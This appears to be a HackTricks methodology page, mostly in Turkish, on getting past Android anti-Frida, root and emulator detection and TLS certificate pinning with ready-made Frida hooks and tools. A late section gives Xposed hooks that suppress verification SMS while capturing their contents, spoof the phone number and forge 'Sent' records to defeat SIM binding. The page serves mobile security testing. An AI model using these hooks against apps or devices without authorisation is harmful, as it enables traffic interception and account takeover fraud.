Android Anti-Instrumentation & SSL Pinning Bypass (Frida/Objection)

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

Bu sayfa, instrumentation tespit eden/root‑block yapan veya TLS pinning uygulayan Android uygulamalarına karşı dinamik analiz erişimini geri kazanmak için pratik bir iş akışı sağlar. Hızlı triaj, yaygın tespitler ve mümkün olduğunda repack yapmadan atlatmak için kopyala-yapıştır kullanılabilecek hook/taktiklere odaklanır.

Detection Surface (what apps check)

  • Root kontrolleri: su binary’si, Magisk yolları, getprop değerleri, yaygın root paketleri
  • Frida/debugger kontrolleri (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /proc taramaları, classpath, yüklenmiş kütüphaneler
  • Native anti‑debug: ptrace(), syscall’lar, anti‑attach, breakpoints, inline hook’lar
  • Erken init kontrolleri: Application.onCreate() veya instrumentation varsa crash yapan process başlangıç hook’ları
  • TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pinler

Bypassing Anti-Frida Detection / Stealth Frida Servers

phantom-frida Frida’yı kaynaktan rebuild eder ve yaygın Frida parmak izlerinin ortadan kalkması için ~90 patch uygular; stock Frida protokolü uyumluluğu korunur (frida-tools hâlâ bağlanabilir). Hedef: /proc (cmdline, maps, task comm, fd readlink) grep’leyen, D-Bus servis isimlerini, varsayılan portları veya export edilmiş sembolleri arayan uygulamalar.

Aşamalar:

  • Source patches: frida identifier’larının (server/agent/helper) global yeniden isimlendirilmesi ve yeniden adlandırılmış Java paketi ile helper DEX’in yeniden derlenmesi.
  • Targeted build/runtime patches: meson tweak’leri, memfd label’ının jit-cache olarak değiştirilmesi, SELinux label’larının (örn. frida_file) yeniden adlandırılması, libc üzerindeki exit/signal hook’larının hook-detector’ları önlemek için devre dışı bırakılması.
  • Post-build rename: export edilmiş frida_agent_main sembolü ilk derlemeden sonra yeniden adlandırılır (Vala bunu emit eder), bu ikinci bir incremental build gerektirir.
  • Binary hex patches: thread isimleri (gmain, gdbus, pool-spawner) değiştirilir; opsiyonel sweep kalan frida/Frida string’lerini temizler.

Kapsanan tespit vektörleri:

  • Base (1–8): process adı frida-server, map’lenmiş libfrida-agent.so, thread isimleri, memfd label, export edilmiş frida_agent_main, SELinux label’ları, libc hook yan etkileri, ve D-Bus servisi re.frida.server yeniden adlandırılıp nötralize edilir.
  • Extended (9–16): dinleme portunu değiştirme (--port), D-Bus interface’leri/dahili C sembolleri/GType isimlerini yeniden adlandırma, .frida/frida- gibi temp path’leri değiştirme, binary string’lerinin sweep edilmesi, build-time define’ları ve asset path’lerinin (libdir/frida) yeniden adlandırılması. Wire protocol’ün parçası olan D-Bus interface isimleri base modda stock client’ları kırmamak için değişmeden bırakılır.

Build/usage (Android arm64 örneği):

python3 build.py --version 17.7.2 --name myserver --port 27142 --extended --verify
adb push output/myserver-server-17.7.2-android-arm64 /data/local/tmp/myserver-server
adb shell chmod 755 /data/local/tmp/myserver-server
adb shell /data/local/tmp/myserver-server -D &
adb forward tcp:27142 tcp:27142
frida -H 127.0.0.1:27142 -f com.example.app

Flags: --skip-build (patch only), --skip-clone, --arch, --ndk-path, --temp-fixes; WSL helper: wsl -d Ubuntu bash build-wsl.sh.

Step 1 — Quick win: hide root with Magisk DenyList

  • Magisk’te Zygisk’i etkinleştirin
  • DenyList’i etkinleştirin, hedef paketi ekleyin
  • Yeniden başlatıp tekrar test edin

Birçok uygulama sadece belirgin göstergelere (su/Magisk paths/getprop) bakar. DenyList genellikle basit kontrolleri etkisiz hale getirir.

References:

  • Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk

Play Integrity / Zygisk detections (post‑SafetyNet)

Yeni banka/kimlik uygulamaları runtime kontrollerini Google Play Integrity (SafetyNet replacement) ile bağlar ve Zygisk’in kendisi mevcutsa çökebilir. Hızlı triyaj ipuçları:

  • Geçici olarak Zygisk’i devre dışı bırakın (kapatıp yeniden başlatın) ve tekrar deneyin; bazı uygulamalar Zygote injection yüklendiği anda çöker.
  • Eğer attestation girişleri engelliyorsa, PlayIntegrityFix/Fork + TrickyStore ile Google Play Services’i patchleyin veya sadece test ederken ReZygisk/Zygisk‑Next kullanın. Hedefi DenyList’te tutun ve props sızdıran LSPosed modüllerinden kaçının.
  • Tek seferlik çalıştırmalar için, Zygote injection olmayan KernelSU/APatch kullanarak Zygisk heuristiklerinin altında kalın, ardından Frida’ya attach edin.

Step 2 — 30‑second Frida Codeshare tests

Derinlemesine dalmadan önce yaygın drop‑in script’leri deneyin:

  • anti-root-bypass.js
  • anti-frida-detection.js
  • hide_frida_gum.js

Example:

frida -U -f com.example.app -l anti-frida-detection.js

Bunlar tipik olarak Java root/debug kontrollerini, process/service taramalarını ve native ptrace() çağrılarını stub’lar. Az korunan uygulamalarda faydalıdır; sertleştirilmiş hedefler için özel hook’lar gerekebilir.

  • Codeshare: https://codeshare.frida.re/

Medusa ile otomatikleştirme (Frida framework)

Medusa, SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception ve daha fazlası için 90’dan fazla hazır modül sağlar.

git clone https://github.com/Ch0pin/medusa
cd medusa
pip install -r requirements.txt
python medusa.py

# Example interactive workflow
show categories
use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app

İpucu: Medusa, custom hooks yazmadan önce hızlı kazanımlar için harikadır. Ayrıca cherry-pick modules yapabilir ve bunları kendi scripts’inizle birleştirebilirsiniz.

Auto-Frida ile otomasyon (spawn-mode + consolidated hooks)

Auto-Frida, tekrarlanabilir kurulumun yanı sıra korumaların auto-detection’ına ve consolidated bypass script generation’a odaklanan bir Frida automation toolkit’idir. Uygulamalar çok erken kontroller çalıştırdığında veya birden fazla bypass module aynı API’leri double-hook edeceği durumlarda kullanışlıdır.

Temel otomasyon fikirleri:

  • Spawn-mode analysis: hook’ları Application.onCreate() öncesine kurarak erken SSL pinning, root, emulator veya anti-Frida kontrollerinin yakalanmasını sağlar.
  • Protection detection + auto-bypass: tespit sonuçları, her Java method/native symbol’ü sadece bir kez hook’layan tek bir consolidated script’in üretilmesini sağlar; bu da çakışan hook’lar nedeniyle oluşan çöküşleri azaltır.
  • Frida server lifecycle checks: işlem + port 27042 + frida-ps handshake gibi sunucu sağlığını indirmeden/yeniden başlatmadan önce doğrulayarak oturumların stabil kalmasını sağlar.

Hızlı başlangıç:

git clone https://github.com/ommirkute/Auto-Frida.git
cd Auto-Frida
pip install -r requirements.txt
python auto_frida.py

Notlar

  • Auto-Frida, eksikse frida/frida-tools’u otomatik olarak kurabilir ve multi-device selection’ı destekler.
  • Generated scripts analizden sonra hemen çalıştırılabilir veya custom hooks’larınızla birleştirilebilir.

Adım 3 — Init-time detektörlerini geç bağlanarak atlatın

Birçok tespit yalnızca process spawn/onCreate() sırasında çalışır. Spawn‑time injection (-f) veya gadgets yakalanır; UI yüklendikten sonra bağlanmak ise atlatmayı sağlayabilir.

# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore  # if using gadget

Bu işe yararsa, oturumu kararlı tutun ve map ile stub kontrollerine geçin.

Adım 4 — Tespit mantığını Jadx ve string hunting ile haritalama

Jadx’te statik triage anahtar kelimeleri:

  • “frida”, “gum”, “root”, “magisk”, “ptrace”, “su”, “getprop”, “debugger”

Tipik Java desenleri:

public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}

Gözden geçirilecek/hook yapılacak yaygın API’ler:

  • android.os.Debug.isDebuggerConnected
  • android.app.ActivityManager.getRunningAppProcesses / getRunningServices
  • java.lang.System.loadLibrary / System.load (native bridge)
  • java.lang.Runtime.exec / ProcessBuilder (probing commands)
  • android.os.SystemProperties.get (root/emulator heuristics)

Adım 5 — Runtime stubbing with Frida (Java)

Özel guard’ları repacking olmadan güvenli değerler döndürecek şekilde geçersiz kılın:

Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
Checks.isFridaDetected.implementation = function () { return false; };

// Neutralize debugger checks
const Debug = Java.use('android.os.Debug');
Debug.isDebuggerConnected.implementation = function () { return false; };

// Example: kill ActivityManager scans
const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});

Triaging early crashes? Uygulama ölmeden hemen önce Dump classes yaparak olası detection namespaces’leri tespit edin:

Java.perform(() => {
Java.enumerateLoadedClasses({
onMatch: n => console.log(n),
onComplete: () => console.log('Done')
});
});

Hızlı root detection stub örneği (hedef paket/sınıf isimlerine uyarlayın):

Java.perform(() => {
try {
const RootChecker = Java.use('com.target.security.RootCheck');
RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});

Log ve şüpheli yöntemleri etkisiz hale getirerek çalışma akışını doğrula:

Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
Det.checkFrida.implementation = function () {
console.log('checkFrida() called');
return false;
};
});

Bypass emulator/VM detection (Java stubs)

Yaygın heuristikler: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE içinde generic/goldfish/ranchu/sdk bulunması; QEMU artefaktları (ör. /dev/qemu_pipe, /dev/socket/qemud); varsayılan MAC 02:00:00:00:00:00; 10.0.2.x NAT; telephony/sensors eksikliği.

Build alanlarının hızlı spoof’lanması:

Java.perform(function(){
var Build = Java.use('android.os.Build');
Build.MODEL.value = 'Pixel 7 Pro';
Build.MANUFACTURER.value = 'Google';
Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});

Dosya varlığı kontrolleri ve tanımlayıcılar (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) için gerçekçi değerler döndürecek stub’lar ile tamamlayın.

SSL pinning bypass quick hook (Java)

Özel TrustManagers’ı etkisizleştirin ve izin verici SSL context’lerini zorlayın:

Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');

// No-op validations
X509TrustManager.checkClientTrusted.implementation = function(){ };
X509TrustManager.checkServerTrusted.implementation = function(){ };

// Force permissive TrustManagers
var TrustManagers = [ X509TrustManager.$new() ];
var SSLContextInit = SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;','[Ljavax.net.ssl.TrustManager;','java.security.SecureRandom');
SSLContextInit.implementation = function(km, tm, sr){
return SSLContextInit.call(this, km, TrustManagers, sr);
};
});

Notlar

  • OkHttp için genişletin: gerekirse okhttp3.CertificatePinner ve HostnameVerifier’ı hooklayın veya CodeShare’den evrensel bir unpinning script’i kullanın.
  • Örnek çalıştırma: frida -U -f com.target.app -l ssl-bypass.js --no-pause

OkHttp4 / gRPC / Cronet pinning (2024+)

Modern yığınlar pin’i daha yeni API’lerin içinde gerçekleştirir (OkHttp4+, gRPC over Cronet/BoringSSL). Temel SSLContext hook takıldığında bu hooks’ları ekleyin:

Java.perform(() => {
try {
const Pinner = Java.use('okhttp3.CertificatePinner');
Pinner.check.overload('java.lang.String', 'java.util.List').implementation = function(){};
Pinner.check$okhttp.implementation = function(){};
} catch (e) {}

try {
const CronetB = Java.use('org.chromium.net.CronetEngine$Builder');
CronetB.enablePublicKeyPinningBypassForLocalTrustAnchors.overload('boolean').implementation = function(){ return this; };
CronetB.setPublicKeyPins.overload('java.lang.String', 'java.util.Set', 'boolean').implementation = function(){ return this; };
} catch (e) {}
});

Eğer TLS hala başarısız oluyorsa, native katmana geçin ve Cronet/gRPC tarafından kullanılan BoringSSL doğrulama giriş noktalarına yama uygulayın:

const customVerify = Module.findExportByName(null, 'SSL_CTX_set_custom_verify');
if (customVerify) {
Interceptor.attach(customVerify, {
onEnter(args){
// arg0 = SSL_CTX*, arg1 = mode, arg2 = callback
args[1] = ptr(0); // SSL_VERIFY_NONE
args[2] = NULL;  // disable callback
}
});
}

Adım 6 — Java hook’ları başarısız olduğunda JNI/native izini takip edin

JNI giriş noktalarını izleyin ve native loaders ile detection init’i bulmak için takip edin:

frida-trace -n com.example.app -i "JNI_OnLoad"

Paketlenmiş .so dosyaları için hızlı yerel triage:

# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'

Etkileşimli/native reversing:

  • Ghidra: https://ghidra-sre.org/
  • r2frida: https://github.com/nowsecure/r2frida

Örnek: libc’deki basit anti‑debug’i alt etmek için ptrace’i devre dışı bırakma:

const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
Interceptor.replace(ptrace, new NativeCallback(function () {
return -1; // pretend failure
}, 'int', ['int', 'int', 'pointer', 'pointer']));
}

Ayrıca bakınız: Reversing Native Libraries

Adım 7 — Objection patching (embed gadget / strip basics)

Repacking’i runtime hook’lara tercih ediyorsanız, şunları deneyin:

objection patchapk --source app.apk

Notlar:

  • apktool gerektirir; derleme sorunlarını önlemek için resmi rehberdeki güncel bir sürümü kullandığınızdan emin olun: https://apktool.org/docs/install
  • Gadget injection, root olmadan instrumentation sağlamayı mümkün kılar, ancak daha güçlü init‑time kontroller tarafından yine de tespit edilebilir.

İsteğe bağlı olarak, Zygisk ortamlarında daha güçlü root gizleme için LSPosed modülleri ve Shamiko ekleyin ve alt süreçleri kapsayacak şekilde DenyList’i düzenleyin.

Tam iş akışı (script-mode Gadget yapılandırması ve Frida 17+ agent’inizi APK’ye paketleme dahil) için bakınız:

Frida Tutorial — Self-contained agent + Gadget embedding

Referanslar:

  • Objection: https://github.com/sensepost/objection

Adım 8 — Yedek: Ağ görünürlüğü için TLS pinning’i yama

Eğer instrumentation engellenmişse, pinning’i statik olarak kaldırarak trafiği hâlâ inceleyebilirsiniz:

apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
  • Araç: https://github.com/shroudedcode/apk-mitm
  • Ağ yapılandırması CA‑trust hileleri (ve Android 7+ user CA trust) için, bkz:

Make APK Accept CA Certificate

Install Burp Certificate

LSPosed/Xposed Hooking Abuse (Telephony/SMS)

Root’lu cihazlarda, LSPosed/Xposed modülleri çalışma zamanında Java telephony/SMS API’lerini hooklayarak APK’yi diskte değiştirmeden uygulamanın gördüklerini tamamen kontrol edebilir. Bu, local telephony APIs veya local SMS provider state’e güvenen SIM‑binding akışlarını atlamak için sıkça kötüye kullanılır.

Key primitives

  • Suppress outgoing verification SMS while exfiltrating the token by short‑circuiting SmsManager.sendTextMessage in beforeHookedMethod.
  • Spoof MSISDN/line number by forcing TelephonyManager.getLine1Number() and SubscriptionInfo.getNumber() to return an attacker‑controlled value.
  • Plant a fake “Sent” record in the SMS provider so apps that check local SMS history see a successful send even if the carrier never received it.

Example: block SMS dispatch and capture content

XposedHelpers.findAndHookMethod(
"android.telephony.SmsManager",
lpparam.classLoader,
"sendTextMessage",
String.class, String.class, String.class, PendingIntent.class, PendingIntent.class,
new XC_MethodHook() {
protected void beforeHookedMethod(MethodHookParam param) {
String body = (String) param.args[2];
// exfiltrate body to operator channel
param.setResult(null); // suppress real SMS send
}
}
);

Örnek: cihaz telefon numarasını spoof etmek

XposedHelpers.findAndHookMethod(
"android.telephony.TelephonyManager",
lpparam.classLoader,
"getLine1Number",
new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) {
param.setResult(spoofedMsisdn);
}
}
);
XposedHelpers.findAndHookMethod(
"android.telephony.SubscriptionInfo",
lpparam.classLoader,
"getNumber",
new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) {
param.setResult(spoofedMsisdn);
}
}
);

Örnek: sahte bir “Sent” SMS kaydı enjekte et

ContentValues v = new ContentValues();
v.put("address", dest);
v.put("body", body);
v.put("type", 2);   // sent
v.put("status", 0); // success
context.getContentResolver().insert(Uri.parse("content://sms/sent"), v);

Kullanışlı komut hızlı başvuru

# List processes and attach
frida-ps -Uai
frida -U -n com.example.app

# Spawn with a script (may trigger detectors)
frida -U -f com.example.app -l anti-frida-detection.js

# Trace native init
frida-trace -n com.example.app -i "JNI_OnLoad"

# Objection runtime
objection --gadget com.example.app explore

# Static TLS pinning removal
apk-mitm app.apk

Universal proxy forcing + TLS unpinning (HTTP Toolkit Frida hooks)

Modern uygulamalar sıklıkla sistem proxy’lerini görmezden gelir ve birden fazla pinning katmanı uygular (Java + native), bu da user/system CAs yüklü olsa bile trafiği yakalamayı zorlaştırır. Pratik bir yaklaşım, hazır Frida hook’ları ile universal TLS unpinning’i proxy forcing ile birleştirip tüm trafiği mitmproxy/Burp üzerinden yönlendirmektir.

İş akışı

  • Host’unuzda mitmproxy (veya Burp) çalıştırın. Cihazın host IP/port’una erişebildiğinden emin olun.
  • TLS’i unpin etmek ve yaygın stack’lerde (OkHttp/OkHttp3, HttpsURLConnection, Conscrypt, WebView, vb.) proxy kullanımını zorlamak için HTTP Toolkit’in konsolide edilmiş Frida hook’larını yükleyin. Bu, CertificatePinner/TrustManager kontrollerini atlatır ve proxy selector’larını override eder; böylece uygulama açıkça proxy’leri devre dışı bıraks a olsa bile trafik her zaman sizin proxy’niz üzerinden gider.
  • Hedef uygulamayı Frida ve hook script ile başlatın ve istekleri mitmproxy’de yakalayın.

Örnek

# Device connected via ADB or over network (-U)
# See the repo for the exact script names & options
frida -U -f com.vendor.app \
-l ./android-unpinning-with-proxy.js \
--no-pause

# mitmproxy listening locally
mitmproxy -p 8080

Notlar

  • Mümkünse sistem genelinde bir proxy ile adb shell settings put global http_proxy <host>:<port> kullanarak birleştirin. Frida hooks, uygulamalar global ayarları atladığında bile proxy kullanımını zorlayacaktır.
  • Bu teknik, pinning/proxy kaçınmasının yaygın olduğu ve mobile-to-IoT onboarding akışlarını MITM etmeniz gerektiğinde idealdir.
  • Hooks: https://github.com/httptoolkit/frida-interception-and-unpinning

Referanslar

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin